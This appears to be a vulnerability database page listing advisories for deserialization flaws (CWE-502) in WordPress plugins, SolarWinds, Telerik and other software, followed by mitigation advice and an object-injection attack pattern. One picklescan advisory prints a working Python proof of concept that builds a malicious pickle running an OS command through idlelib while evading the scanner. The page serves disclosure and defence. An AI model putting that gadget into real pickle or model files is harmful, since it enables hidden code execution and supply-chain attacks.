Common Weakness Enumeration

CWE-502

Allowed

Deserialization of Untrusted Data

Abstraction: Base · Status: Draft

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

6035 vulnerabilities reference this CWE, most recent first.

GHSA-3F48-HJP5-XVRG

Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30
VLAI
Details

Unauthenticated PHP Object Injection in Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.1.8 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-15T21:17:21Z",
    "severity": "CRITICAL"
  },
  "details": "Unauthenticated PHP Object Injection in Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms \u003c= 1.1.8 versions.",
  "id": "GHSA-3f48-hjp5-xvrg",
  "modified": "2026-06-15T21:30:50Z",
  "published": "2026-06-15T21:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49765"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/cf7-mailchimp/vulnerability/wordpress-integration-for-mailchimp-and-contact-form-7-wpforms-elementor-ninja-forms-plugin-1-1-8-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3F6J-JQ37-282H

Vulnerability from github – Published: 2023-02-15 21:30 – Updated: 2023-02-24 21:30
VLAI
Details

SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-47503"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-15T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "SolarWinds Platform was susceptible to the Deserialization of Untrusted Data. This vulnerability allows a remote adversary with Orion admin-level account access to SolarWinds Web Console to execute arbitrary commands.",
  "id": "GHSA-3f6j-jq37-282h",
  "modified": "2023-02-24T21:30:20Z",
  "published": "2023-02-15T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47503"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/solarwinds_platform_2023-1_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2022-47503"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3F9C-XXJ6-82V8

Vulnerability from github – Published: 2025-05-23 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Deserialization of Untrusted Data vulnerability in WPFunnels WPFunnels allows Object Injection. This issue affects WPFunnels: from n/a through 3.5.18.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-23T13:15:38Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in WPFunnels WPFunnels allows Object Injection. This issue affects WPFunnels: from n/a through 3.5.18.",
  "id": "GHSA-3f9c-xxj6-82v8",
  "modified": "2026-04-01T18:35:15Z",
  "published": "2025-05-23T15:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47530"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wpfunnels/vulnerability/wordpress-wpfunnels-3-5-18-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3FH7-J367-Q368

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34
VLAI
Details

Deserialization of Untrusted Data vulnerability in WebToffee Import Export WordPress Users.This issue affects Import Export WordPress Users: from n/a through 2.5.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:41Z",
    "severity": "MODERATE"
  },
  "details": "Deserialization of Untrusted Data vulnerability in WebToffee Import Export WordPress Users.This issue affects Import Export WordPress Users: from n/a through 2.5.3.",
  "id": "GHSA-3fh7-j367-q368",
  "modified": "2026-04-28T21:34:52Z",
  "published": "2024-04-24T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32835"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/users-customers-import-export-for-wp-woocommerce/wordpress-export-and-import-users-and-customers-plugin-2-5-3-deserialization-of-untrusted-data-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3FJ5-F9X9-2HVX

Vulnerability from github – Published: 2024-03-01 09:31 – Updated: 2025-01-21 21:30
VLAI
Details

The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds’ service, resulting in remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-01T09:15:09Z",
    "severity": "HIGH"
  },
  "details": "The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds\u2019 service, resulting in remote code execution.",
  "id": "GHSA-3fj5-f9x9-2hvx",
  "modified": "2025-01-21T21:30:46Z",
  "published": "2024-03-01T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0692"
    },
    {
      "type": "WEB",
      "url": "https://documentation.solarwinds.com/en/success_center/sem/content/release_notes/sem_2023-4-1_release_notes.htm"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2024-0692"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3FPV-54FF-WQFJ

Vulnerability from github – Published: 2022-05-07 00:00 – Updated: 2022-05-24 20:56
VLAI
Summary
Deserialization of Untrusted Data in topthink/framework
Details

The package topthink/framework before version 6.0.12 is vulnerable to Deserialization of Untrusted Data due to insecure unserialize method in the Driver class.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "topthink/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-05-24T20:56:43Z",
    "nvd_published_at": "2022-05-06T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The package topthink/framework before version 6.0.12 is vulnerable to Deserialization of Untrusted Data due to insecure `unserialize` method in the `Driver` class.",
  "id": "GHSA-3fpv-54ff-wqfj",
  "modified": "2022-05-24T20:56:43Z",
  "published": "2022-05-07T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/top-think/framework/commit/d3b5aeae94bc71bae97977d05cd12c3e0550905c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/top-think/framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/top-think/framework/releases/tag/v6.0.12"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-PHP-TOPTHINKFRAMEWORK-2385695"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deserialization of Untrusted Data in topthink/framework"
}

GHSA-3G2J-HCPV-VRJ2

Vulnerability from github – Published: 2024-08-28 03:31 – Updated: 2024-08-28 03:31
VLAI
Details

The Ultimate Store Kit Elementor Addons, Woocommerce Builder, EDD Builder, Elementor Store Builder, Product Grid, Product Table, Woocommerce Slider plugin is vulnerable to PHP Object Injection via deserialization of untrusted input via the _ultimate_store_kit_wishlist cookie in versions up to , and including, 2.0.3. This makes it possible for an unauthenticated attacker to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker or above to delete arbitrary files, retrieve sensitive data, or execute code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8030"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-28T03:15:04Z",
    "severity": "CRITICAL"
  },
  "details": "The Ultimate Store Kit Elementor Addons, Woocommerce Builder, EDD Builder, Elementor Store Builder, Product Grid, Product Table, Woocommerce Slider plugin is vulnerable to PHP Object Injection via deserialization of untrusted input via the _ultimate_store_kit_wishlist cookie in versions up to , and including, 2.0.3. This makes it possible for an unauthenticated attacker to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker or above to delete arbitrary files, retrieve sensitive data, or execute code.",
  "id": "GHSA-3g2j-hcpv-vrj2",
  "modified": "2024-08-28T03:31:15Z",
  "published": "2024-08-28T03:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8030"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3141022/ultimate-store-kit/trunk/includes/helper.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ef566dca-91ed-4929-b36b-4e424e07e1d4?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3GCF-28PG-3VM2

Vulnerability from github – Published: 2024-08-29 15:30 – Updated: 2024-08-29 15:30
VLAI
Details

Deserialization of Untrusted Data vulnerability in eyecix JobSearch allows Object Injection.This issue affects JobSearch: from n/a through 2.5.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-29T15:15:29Z",
    "severity": "CRITICAL"
  },
  "details": "Deserialization of Untrusted Data vulnerability in eyecix JobSearch allows Object Injection.This issue affects JobSearch: from n/a through 2.5.3.",
  "id": "GHSA-3gcf-28pg-3vm2",
  "modified": "2024-08-29T15:30:34Z",
  "published": "2024-08-29T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43931"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-jobsearch/wordpress-jobsearch-wp-job-board-wordpress-plugin-plugin-2-5-3-php-object-injection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3GF5-CXQ9-W223

Vulnerability from github – Published: 2025-08-26 21:37 – Updated: 2026-11-03 17:37
VLAI
Summary
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
Details

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC


from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T21:37:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nUsing idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\n\nfrom idlelib.pyshell import ModifiedInterpreter\nfrom types import SimpleNamespace\n\nclass EvilIdlelibPyshellModifiedInterpreterRuncode:\n    def __reduce__(self):\n        payload = \"__import__(\u0027os\u0027).system(\u0027whoami\u0027)\"\n        fake_self = SimpleNamespace(\n            locals={},\n            tkconsole=SimpleNamespace(\n                executing=False,\n                beginexecuting=str,\n                canceled=False,\n                closing=False,\n                showtraceback=str,\n                endexecuting=str,\n                stderr=None,\n                text=SimpleNamespace(),\n                getvar=str\n            ),\n            rpcclt=None,\n            debugger=None,\n            checklinecache=str,\n            active_seq=None,\n            showtraceback=str,\n            canceled=False,\n            closing=False\n        )\n        return ModifiedInterpreter.runcode, (fake_self, payload)\n\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-3gf5-cxq9-w223",
  "modified": "2026-11-03T17:37:18Z",
  "published": "2025-08-26T21:37:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-idlelib-pyshell-modifiedinterpreter-runcode"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode"
}

GHSA-3GPQ-5Q6X-Q7PF

Vulnerability from github – Published: 2024-12-16 18:31 – Updated: 2024-12-16 18:31
VLAI
Details

In Progress Telerik UI for WPF versions prior to 2024 Q4 (2024.4.1213), a code execution attack is possible through an insecure deserialization vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10095"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-16T17:15:06Z",
    "severity": "HIGH"
  },
  "details": "In Progress Telerik UI for WPF versions prior to 2024 Q4 (2024.4.1213), a code execution attack is possible through an insecure deserialization vulnerability.",
  "id": "GHSA-3gpq-5q6x-q7pf",
  "modified": "2024-12-16T18:31:09Z",
  "published": "2024-12-16T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10095"
    },
    {
      "type": "WEB",
      "url": "https://docs.telerik.com/devtools/wpf/knowledge-base/kb-security-unsafe-deserialization-vulnerability-cve-2024-10095"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation
Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Mitigation
Implementation

Explicitly define a final object() to prevent deserialization.

Mitigation
Architecture and Design Implementation
  • Make fields transient to protect them from deserialization.
  • An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Mitigation
Architecture and Design Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-586: Object Injection

An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.